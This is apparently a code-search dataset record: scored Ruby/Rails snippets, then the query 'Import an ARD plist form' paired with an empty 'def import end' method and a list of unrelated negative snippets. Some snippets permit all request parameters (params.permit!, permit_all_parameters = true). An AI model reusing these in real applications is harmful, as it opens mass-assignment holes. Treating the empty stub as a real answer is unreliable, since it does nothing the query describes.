strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Import an ARD plist form
def import end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load_plist(file)\n NSMutableDictionary.dictionaryWithContentsOfFile(file)\n end", "def load_plist(bundle, path)\n data = bundle.storage.open(path, &:read)\n plist = CFPropertyList::List.new(data: data)\n CFPropertyList.native_types(plist.value)\n end", "def import(libfile, lib)\r\n\t#open the text file containing the booklist from the library\r\n\tf = File.open(libfile)\r\n\t#parse the incoming lines into arrays of data\r\n\twhile line = f.gets do\r\n\t\tparsed_line = line.split('*')\r\n\t\tadd_book(parsed_line, lib)\r\n\tend\r\n\tf.close\r\nend", "def import(input, app_list=[])\n input = input.read if input.is_a? IO\n\n # Create array of TrustedApplication objects\n trusted_apps = get_trusted_apps(app_list)\n\n # Create an Access object\n access_buffer = FFI::MemoryPointer.new(:pointer)\n status = Sec.SecAccessCreate(path.to_cf, trusted_apps, access_buffer)\n Sec.check_osstatus status\n access = CF::Base.typecast(access_buffer.read_pointer)\n\n key_params = Sec::SecItemImportExportKeyParameters.new\n key_params[:accessRef] = access\n\n # Import item to the keychain\n cf_data = CF::Data.from_string(input)\n cf_array = FFI::MemoryPointer.new(:pointer)\n status = Sec.SecItemImport(cf_data, nil, :kSecFormatUnknown, :kSecItemTypeUnknown, :kSecItemPemArmour, key_params, self, cf_array)\n access.release\n Sec.check_osstatus status\n item_array = CF::Base.typecast(cf_array.read_pointer).release_on_gc\n\n item_array.to_ruby\n end", "def plist name\n File.open(File.dirname(__FILE__) + \"/plist/#{name}.plist\").read\nend", "def import_to_directededge\n @database.import('examplestore.xml')\n end", "def import\n Map.import(params[:file])\n end", "def import()\n # TODO\n end", "def info_plist_to_hash(path)\n require 'json'\n JSON.parse! %x[plutil -convert json -o - #{path}]\nend", "def load_macshapa_db(filename, write_to_gui)\n\n\n # Create a new DB for us to use so we don't touch the GUI... some of these\n # files can be huge.\n # Since I don't know how to make a whole new project, lets just load a blank file.\n if not write_to_gui\n #$db,$pj = load_db(\"/Users/j4lingeman/Desktop/blank.opf\")\n $db = MacshapaDatabase.new(1000)\n $pj = Project.new()\n end\n\n\n\n f = File.open(filename, 'r')\n\n # Read and split file by lines. '\\r' is used because that is the default\n # format for OS9 files.\n file = f.gets\n lines = file.split(/\\r/)\n\n # Find the variable names in the file and use these to create and set up\n # our columns.\n predIndex = lines.index(\"***Predicates***\")\n varIndex = lines.index(\"***Variables***\")\n spreadIndex = lines.index(\"***SpreadPane***\")\n predIndex += 2\n\n variables = Hash.new\n varIdent = Array.new\n\n while predIndex < varIndex\n l = lines[predIndex].split(/ /)[5]\n varname = l[0..l.index(\"(\") - 1]\n if varname != \"###QueryVar###\" and varname != \"div\" and varname != \"qnotes\"\n variables[varname] = l[l.index(\"(\")+1..l.length-2].split(/,/)\n varIdent << l\n end\n predIndex += 1\n end\n\n # Create the columns for the variables\n variables.each do |key, value|\n # Create column\n if !$db.col_name_in_use(key)\n col = DataColumn.new($db, key, MatrixVocabElement::MatrixType::MATRIX)\n $db.add_column(col)\n end\n\n mve0 = $db.get_vocab_element(key)\n if mve0.get_num_formal_args() == 1\n # Setup structure of matrix column\n mve0 = MatrixVocabElement.new(mve0)\n mve0.delete_formal_arg(0)\n value.each { |v|\n # Strip out the ordinal, onset, and offset. These will be handled on a\n # cell by cell basis.\n if v != \"<ord>\" and v != \"<onset>\" and v != \"<offset>\"\n #puts v\n farg = NominalFormalArg.new($db, v)\n mve0.append_formal_arg(farg)\n end\n }\n $db.replace_matrix_ve(mve0)\n end\n end\n\n # Search for where in the file the var's cells are, create them, then move\n # on to the next variable.\n varSection = lines[varIndex..spreadIndex]\n\n varIdent.each do |id|\n col = $db.get_column(id[0..id.index(\"(\")-1])\n mve = $db.get_matrix_ve(col.its_mve_id)\n matid = mve.get_id()\n\n # Search the variable section for the above id\n varSection.each do |l|\n line = l.split(/[\\t\\s]/)\n if line[2] == id\n #puts varname\n start = varSection.index(l) + 1\n\n stringCol = false\n\n if varSection[start - 2].index(\"strID\") != nil\n stringCol = true\n end\n\n #Found it! Now build the cells\n while varSection[start] != \"0\"\n varSection[start]\n if stringCol == false\n cellData = varSection[start].split(/[\\t]/)\n cellData[cellData.length - 1] = cellData[cellData.length-1][cellData[cellData.length-1].index(\"(\")..cellData[cellData.length-1].length]\n\n else\n cellData = varSection[start].split(/[\\t]/)\n end\n\n # Init cell to null\n cell = DataCell.new($db, col.get_id, mve.get_id)\n mat = Matrix.new($db, matid)\n\n # Convert onset/offset from 60 ticks/sec to milliseconds\n onset = cellData[0].to_i / 60.0 * 1000\n offset = cellData[1].to_i / 60.0 * 1000\n\n # Set onset/offset of cell\n cell.onset = TimeStamp.new(1000, onset.round)\n cell.offset = TimeStamp.new(1000, offset.round)\n\n # Split up cell data\n data = cellData[cellData.length - 1]\n if stringCol == false\n data = data[1..data.length-2]\n data = data.gsub(/[() ]*/, \"\")\n data = data.split(/,/)\n elsif data != nil #Then this is a string var\n data = data.strip()\n if data.split(\" \").length > 1\n data = data[data.index(\" \")..data.length] # Remove the char count\n data = data.gsub(\"/\", \" or \")\n data = data.gsub(/[^\\w ]*/, \"\")\n data = data.gsub(/ /,\" \")\n else\n data = \"\"\n end\n else\n data = Array.new\n data << nil\n end\n\n # Cycle thru cell data arguments and fill them into the cell matrix\n narg = 0\n data.each do |d|\n fargid = mve.get_formal_arg(narg).get_id()\n d = d.strip()\n if d == \"\" or d == nil or d.index(\"<\") != nil\n fdv = NominalDataValue.new($db, fargid)\n fdv.clearValue()\n else\n d = d.strip()\n fdv = NominalDataValue.new($db, fargid, d)\n end\n mat.replaceArg(narg,fdv)\n narg += 1\n end\n\n # Put cell into database\n cell.set_val(mat)\n $db.append_cell(cell)\n start += 1\n end\n end\n end\n end\n\n f.close()\n\n return $db, $pj\nend", "def library_start\n @filehandle << '<plist version=\"1.0\">'\n end", "def plist; nil; end", "def plist; nil; end", "def parse_plist(path)\n plist_file_path = self.plist(path)\n if plist_file_path.present?\n Plist.parse_xml(plist_file_path)\n else\n ''\n end\n end", "def cmd_db_import_ip_list(*args)\n\t\t\treturn unless active?\n\t\t\tif (not (args and args.length == 1))\n\t\t\t\tprint_error(\"Usage: db_import_file_list <iplist.txt>\")\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tif (not File.readable?(args[0]))\n\t\t\t\tprint_status(\"Could not read the text file\")\n\t\t\t\treturn\n\t\t\tend\n\t\t\tframework.db.import_ip_list_file(:filename => args[0])\n\t\tend", "def save_plist(filename)\n Plist::Emit.save_plist(self, filename)\n end", "def save_plist(filename)\n Plist::Emit.save_plist(self, filename)\n end", "def to_plist\n attributes.to_plist\n end", "def read_plist_file(file_path)\n bad_xml_doctype = /^.*<!DOCTYPE plist PUBLIC -\\/\\/Apple Computer.*$/\n # We can't really read the file until we know the source encoding in\n # Ruby 1.9.x, so we use the magic number to detect it.\n # NOTE: We need to use IO.read to be Ruby 1.8.x compatible.\n if IO.read(file_path, binary_plist_magic_number.length) == binary_plist_magic_number\n plist_obj = CFPropertyList::List.new(:file => file_path)\n else\n plist_data = File.open(file_path, \"r:UTF-8\").read\n if plist_data =~ bad_xml_doctype\n plist_data.gsub!( bad_xml_doctype, plist_xml_doctype )\n Puppet.debug(\"Had to fix plist with incorrect DOCTYPE declaration: #{file_path}\")\n end\n begin\n # This is fucking terrible - I'm redirecting $stderr because I\n # can't swallow an error bubbled up by libxml when the file\n # /System/Library/LaunchDaemons/org.cups.cupsd.plist tries to\n # be parsed. That file has invalid double hyphens within an XML\n # comment, and even though the file passes `plutil -lint`, it's\n # invalid XML. It's been that way for fucking ever and it sucks.\n # I would REALLY appreciate a pull request to handle this better.\n orig_stderr = $stderr.clone\n $stderr.reopen('/dev/null', 'w+')\n plist_obj = CFPropertyList::List.new(:data => plist_data)\n $stderr.reopen(orig_stderr)\n rescue CFFormatError, LibXML::XML::Error => e\n Puppet.debug \"Failed with #{e.class} on #{file_path}: #{e.inspect}\"\n return nil\n end\n end\n CFPropertyList.native_types(plist_obj.value)\n end", "def initialize plist, *args, &blk\n @plist = plist\n end", "def load\n #p 'loading ...'\n #p @name\n @rarray = Array.new\n begin\n dshash = YAML.load_file('db/'+@name+'.store') \n #p dshash\n #@rkeys = Array.new\n #p 'loading ...'\n dshash.each {|k,v| # converts strings into symbols\n cid = dshash[k][\"id\"]\n next if cid < 1 # do not transform if id < 1 \n #@rkeys << k\n rhash = Hash.new \n v.each {|k2,v2|\n #p k2\n #p v2\n rhash[k2.to_sym] = v2\n }\n @rarray << rhash\n }\n rescue\n p 'no file now' \n self.insert({:id=>0})\n end\n end", "def import\n State.import(params[:file])\n flash[:success] = 'States were successfully imported'\n redirect_to states_admin_path \n end", "def load_hpo_file(file)\n\tstorage = []\n\tid = nil\n\tname = nil\n\talt_id = []\n\tsyn = []\n\tis_a = []\n\tFile.open(file).each do |line|\n\t\tline.chomp!\n\t\ttag, info = line.split(': ')\n\t\tif tag == 'id' || tag == 'name' || tag == 'is_a' || tag == 'synonym' || tag == 'alt_id'\n\t\t\tif tag == 'id'\n\t\t\t\tstorage << [id, alt_id.join('|'), name, syn.join('|')].concat(is_a) if !name.nil? #if !temp[1].include?(\"obsolete\") \n\t\t\t\tid = info\n\t\t\t\tname = nil\n\t\t\t\talt_id = []\n\t\t\t\tsyn = []\n\t\t\t\tis_a = []\n\t\t\tend\n\t\t\tif tag == 'alt_id'\n\t\t\t\talt_id << info\n\t\t\telsif tag == 'is_a'\n\t\t\t\tis_a.concat(info.split(' ! '))\n\t\t\telsif tag == 'synonym'\n\t\t\t\tsyn << info.split('\"')[1]\n\t\t\telse\n\t\t\t\tname = info\n\t\t\tend\n\t\tend\n\tend\n\tstorage << [id, alt_id.join('|'), name, syn.join('|')].concat(is_a)\n\treturn storage\nend", "def import\n read_dict_file(:langA)\n write_database(:langA)\n\n read_dict_file(:langB)\n write_database(:langB)\n end", "def import(ovf)\n end", "def import(zip, test_id=nil)\n # Read the zip\n Zip::ZipFile.open(zip.path) do |zipfile|\n zipfile.each do |file|\n # Ignore any directories that we find as well as those annoying ._ files from OSX\n if file.name.include?(\".json\") && !file.name.include?(\"._\")\n if file.name.include?(\"bundle.json\")\n @db['bundles'] << JSON.parse(zipfile.read(file))\n else\n patient = JSON.parse(zipfile.read(file))\n patient['_id'] = BSON::ObjectId.from_string(patient['_id']) if patient['_id']\n patient['test_id'] = test_id if !test_id.nil?\n Record.new(patient).save\n end\n end\n end\n end\n end", "def import\n flash[:success] = 'VLANs were successfully imported.'\n Vlan.import(params[:file])\n redirect_to vlans_url\n end", "def create_import\n begin\n @computers = ComputerService.import(params[:computer],current_unit)\n rescue NoMethodError\n e = \"Please select a plist file\"\n rescue => e\n end\n \n unless @computers.nil?\n @total = @computers.count\n # Save each computer. If it doesn't save, leave it out of the array\n @computers = @computers.collect {|e| e if e.save}.compact\n end\n \n respond_to do |format|\n if @computers.nil?\n flash[:error] = \"There was a problem while parsing the plist: #{e}\"\n format.html { redirect_to import_new_computer_path(current_unit) }\n elsif @computers.count > 0\n flash[:notice] = \"#{@computers.count} of #{@total} computers imported into #{@computers.first.computer_group}\"\n format.html { redirect_to computers_path(current_unit) }\n else\n flash[:warning] = \"Zero computers were imported. Did the ARD list have any members?\"\n format.html { redirect_to computers_path(current_unit) }\n end\n end\n end", "def load_db\n input_data = File.read($fn)\n $cd_arr = YAML.load(input_data)\nend", "def serialize_for_plist\n h = {}\n if exclusively_raw?\n h = raw_tags\n else\n # Take care of the straight forward mappings\n keys = [:name,:display_name,:receipts,:description,:minimum_os_version,:maximum_os_version,\n :installs,:RestartAction,:package_path,:autoremove,:installer_type,:installed_size,:installer_item_size,\n :installer_item_location,:uninstaller_item_location,:uninstaller_item_size,:uninstallable, :uninstall_method, :unattended_install, :unattended_uninstall,\n :preinstall_script, :postinstall_script, :uninstall_script, :preuninstall_script, :postuninstall_script,\n :requires,:update_for,:catalogs,:version, :force_install_after_date, :installer_choices_xml]\n\n keys.each do |key|\n h[key.to_s] = self.send(key) if self.send(key).present?\n end\n\n # Add append any special cases to the hash\n h[\"category\"] = self.package_category.to_s\n\n # Supported Architectures\n sa = self.supported_architectures.delete_if {|e| e == \"\"}\n h[\"supported_architectures\"] = sa unless sa.empty?\n # Requires\n h[\"requires\"] = self.requires.map {|p| p.to_s(:version) } unless self.requires.empty?\n h[\"installer_item_location\"] = download_name\n\n # Add any raw tags\n h = h.merge(raw_tags) if append_raw?\n\n h.delete(\"RestartAction\") if h[\"RestartAction\"] == \"None\"\n end\n h\n end", "def load(handle, args={})\n File.open(handle) do |handle|\n db = DnaIO.new handle\n db.each do |record|\n self.add(record.sequence, record.name)\n end\n end\n end", "def parse_list list_path\n list = Hash.new\n #If the file doesn't exist, don't bother right now.\n if !File.exist? list_path\n return list\n end\n\n file = File.new list_path\n file.readlines.each do\n |app|\n bin, uses = app.split /\\s+/\n list[bin] = uses.to_i\n end\n file.close\n\n return list\nend", "def import_parcelle_assoc(elt, parcelle, index)\n import_sucess = false\n if elt.kind_of?(Pulve)\n parcelle_assoc = Putoparcelle.new(\n :pulve_id => elt.id,\n :parcelle_id => parcelle.id,\n :value => 1)\n elsif elt.kind_of?(Labour)\n parcelle_assoc = Labtoparcelle.new(\n :labour_id => elt.id,\n :parcelle_id => parcelle.id,\n :value => 1)\n elsif elt.kind_of?(Vente)\n parcelle_assoc = Ventoparcelle.new(\n :vente_id => elt.id,\n :parcelle_id => parcelle.id,\n :value => 1)\n elsif elt.kind_of?(Facture)\n parcelle_assoc = Factoparcelle.new(\n :facture_id => elt.id,\n :parcelle_id => parcelle.id,\n :value => 1)\n end\n if parcelle_assoc && parcelle_assoc.valid?\n if parcelle_assoc.save\n import_sucess = true\n else\n self.add_error(\"parcelle '#{parcelle.try(:name)}' non enregistree\", index)\n self.add_error(parcelle_assoc.errors, index)\n end\n else # parcelle_assoc not valid\n self.add_error(\"parcelle '#{parcelle.try(:name)}' non valide\", index)\n self.add_error(parcelle_assoc.errors, index) if parcelle_assoc\n return false\n end\n return import_sucess\n end", "def import\n dir = Rails.root.join('shared', 'data')\n Dir.mkdir(dir, 0750) unless Dir.exist?(dir)\n file = dir.join('domains')\n File.new(file, 'w+') unless File.exist?(file)\n f = File.open(file, 'r')\n @restore = ''\n f.each_line { |line| @restore += line }\n f.close\n end", "def pets\n load_yaml('personaje/pets')\nend", "def process_plists\n\n Dir.glob(\"#{app.source}/**/_*.{plist,strings}\").each do |fileName|\n\n puts_cyan \"Middlemac is processing plist file #{fileName}.\"\n\n file = File.open(fileName)\n doc = Nokogiri.XML(file)\n file.close\n\n doc.traverse do |node|\n if node.text?\n node.content = node.content.gsub('{$CFBundleIdentifier}', options.Targets[options.Target][:CFBundleID])\n node.content = node.content.gsub('{$CFBundleName}', options.CFBundleName)\n end\n end\n\n dst_path = File.dirname(fileName)\n dst_file = File.basename(fileName)[1..-1]\n\n File.open(File.join(dst_path, dst_file),'w') {|f| doc.write_xml_to f}\n\n end\n end", "def import\n Item.import( params[:file])\n redirect_to '/items', notice: 'Items Imported.'\n end", "def fake_plist\n { 'Enable' => true, \n 'PostCreateCommands' => [], \n }\n end", "def to_plist\n plist = serialize_for_plist.to_plist\n # Fix ^M encoding CR issue\n plist.gsub(/\\r\\n?/, \"\\n\")\n end", "def read_file pn\n pn.readlines.map(&:chomp)\n .each do |line|\n @entries.add line, pn\n end\n end", "def import_to_devonthink(filename, database, folder)\n puts \"Importing to DEVONthink...\"\n %x[ osascript <<-HDOC\n tell application id \"com.devon-technologies.thinkpro2\" to launch\n tell application id \"com.devon-technologies.thinkpro2\"\n set lstFound to databases where name = \"#{database}\"\n if length of lstFound > 0 then\n set oDb to item 1 of lstFound\n set theFolder to create location \"#{folder}\" in oDb\n set oWin to open window for record theFolder\n set theRecord to import #{filename} to theFolder\n close oWin\n end if\n end tell\n ]\nend", "def initialize(filename)\n @info_plist = OSX::NSDictionary.dictionaryWithContentsOfFile(File.join(filename, 'Contents/Info.plist'))\n return unless @info_plist\n @identifier = @info_plist['CFBundleIdentifier'].to_s\n @version = @info_plist['CFBundleVersion'].to_s\n @shortversionstring = @info_plist['CFBundleShortVersionString'].to_s\n @filename = filename\n end", "def load_file(path, name)\n data_file = PStore.new(path)\n data = nil\n data_file.transaction do\n data = data_file[name]\n end\n if data == nil\n data = Array.new\n end\n data\nend", "def save_plist(filename, options = {})\n options = { :indent => DEFAULT_INDENT }.merge(options)\n Plist::Emit.save_plist(self, filename, options)\n end", "def import_file(filename, filepath=\"\")\n frm.file_field(:name=>\"importFile\").set(filepath + filename)\n end", "def create_plist(path)\n File.open(path, 'w') do |file|\n file.puts \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\"\n file.puts \"<!DOCTYPE plist PUBLIC \\\"-//Apple//DTD PLIST 1.0//EN\\\" \\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\">\"\n file.puts \"<plist version=\\\"1.0\\\">\"\n file.puts '<dict>'\n file.puts '</dict>'\n file.puts '</plist>'\n end\n path\n end", "def generate\n to_plist(info)\n end", "def parse(file_path) \n doc = Nokogiri.parse(File.read(file_path))\n \n lib_node = doc.xpath(\"/plist/dict\")[0]\n lib_metadata = {}\n lib_node.xpath(\"key\").each do |key_node|\n key_sym = key_node.content.downcase.gsub(/ +/,'_').to_sym\n lib_metadata[key_sym] = key_node.next.content\n end\n self.persistent_id = lib_metadata[:library_persistent_id]\n \n track_nodes = doc.xpath(\"/plist/dict/dict/dict\")\n track_nodes.each do |track_node|\n song_metadata = {}\n track_node.xpath(\"key\").each do |key_node|\n key_sym = key_node.content.downcase.gsub(/ +/,'_').to_sym\n song_metadata[key_sym] = key_node.next.content\n end\n track_persistent_id = song_metadata[:persistent_id]\n track = Track.find_by_persistent_id(track_persistent_id)\n if track.nil?\n track = Track.new\n track.parse(song_metadata)\n end\n self.tracks << track\n end\n end", "def import!(file)\n if File.directory?(file)\n # ...\n else\n case File.extname(file)\n when '.yaml', '.yml'\n merge!(YAML.load(File.new(file)))\n else\n text = File.read(file)\n if /\\A---/ =~ text\n name = File.basename(file)\n self[name] = YAML.load(text)\n else\n name = File.basename(file)\n self[name] = text.strip\n end\n end\n end\n end", "def import_file! file\n # if given a file name, try opening it\n if file.instance_of? String\n _file = File.open file\n elsif file.instance_of? File\n _file = file\n else\n raise \"type not recognized: #{file.class.name}\"\n end\n\n puts \"- Iterating over keys in #{_file.inspect}\" if @verbose\n \n # iterate over keys\n YAML::load(_file).each do |env, env_hash|\n env_hash.each do |app, app_hash|\n app_hash.each do |namespace, namespace_hash|\n namespace_hash.each do |identifier, value|\n k = \"#{namespace}:#{identifier}\"\n set! k, value, app, env\n end\n end\n end\n end\n end", "def test_import_from_pstore\r\n model = Persist.import_from_pstore('models/unittest1')\r\n\r\n assert_equal(2, model.ident) \r\n assert_equal('pstore persistance', model.name)\r\n assert_equal('will be deleted between tests', model.description) \r\n assert_equal('and they are off', model.commentary)\r\n \r\n assert_equal(2, model.node_list.size) \r\n assert_equal(1, model.link_list.size)\r\n \r\n assert_equal([0.2, 0.3], model.node_list.node_for_id(1).evidence) \r\n end", "def import\n Trick.import params[:file]\n redirect_to root_path, notice: \"Imported!!\"\n end", "def import(cnf)\n #\n # Connect to databases\n #\n begin\n $dbh_pg = DBI.connect(\n \"dbi:Pg:#{cnf[:from_db_name]}:\",\n cnf[:from_db_user],\n cnf[:from_db_password]\n )\n rescue\n STDERR.puts \"### Error in #{__FILE__} on line #{__LINE__}. See errorlog.\"\n Log.write_log(:error, \"Could not connect to database. Message: #{$!}\\ncnf:#{cnf.inspect}\")\n exit\n end\n begin\n $dbh_ms = DBI.connect(\n \"dbi:Mysql:#{cnf[:to_db_name]}:\",\n cnf[:to_db_user],\n cnf[:to_db_password]\n )\n rescue\n STDERR.puts \"### Error in #{__FILE__} on line #{__LINE__}. See errorlog.\"\n Log.write_log(:error, \"Could not connect to database. Message: #{$!}\")\n exit\n end\n $dbh_ms.do(\"SET sql_mode='TRADITIONAL,ANSI'\")\n $dbh_ms.do(\"SET NAMES 'utf8'\")\n \n $reaktor_insert_count = 0\n $import_log = 'import'\n $debug = cnf[:debug]\n \n #\n # Initialize plugins\n #\n ArtworkDataPlugin::set_data_path(cnf[:path_data])\n \n #\n # Drop id_store table if it exists\n #\n begin\n sth = $dbh_pg.execute(\"SELECT relname FROM pg_class WHERE relname = 'id_store'\")\n rescue\n $stderr.puts \"### Error in #{__FILE__} on line #{__LINE__}. See errorlog\"\n Log.write_log('error', \"Could not process query. Message: #{$!} query: #{get_query_string(sth)}.\")\n raise\n exit\n end\n relname = sth.fetch\n \n if relname\n begin\n sth = $dbh_pg.execute(%Q{DROP TABLE id_store})\n rescue\n $stderr.puts \"### Error in #{__FILE__} on line #{__LINE__}. See errorlog\"\n Log.write_log('error', \"Could not process query. Message: #{$!} query: #{get_query_string(sth)}.\")\n raise\n exit\n end\n STDERR.puts \"Dropped id_store table from prototype.\"\n end\n \n #\n # Load the schema map\n #\n require 'schema_map'\n \n #\n # Process tables\n #\n $schema.each do |t|\n process_table(t)\n end\n \n #\n # Write reports\n #\n ArtworkDataPlugin.flush_logs\n ArtworkDataPlugin.write_report\n \n ArtworkTopicTaggingPlugin::flush_logs\n ArtworkTopicTaggingPlugin::write_report\n \n ArtworkInternalDiscussionPlugin::flush_logs\n 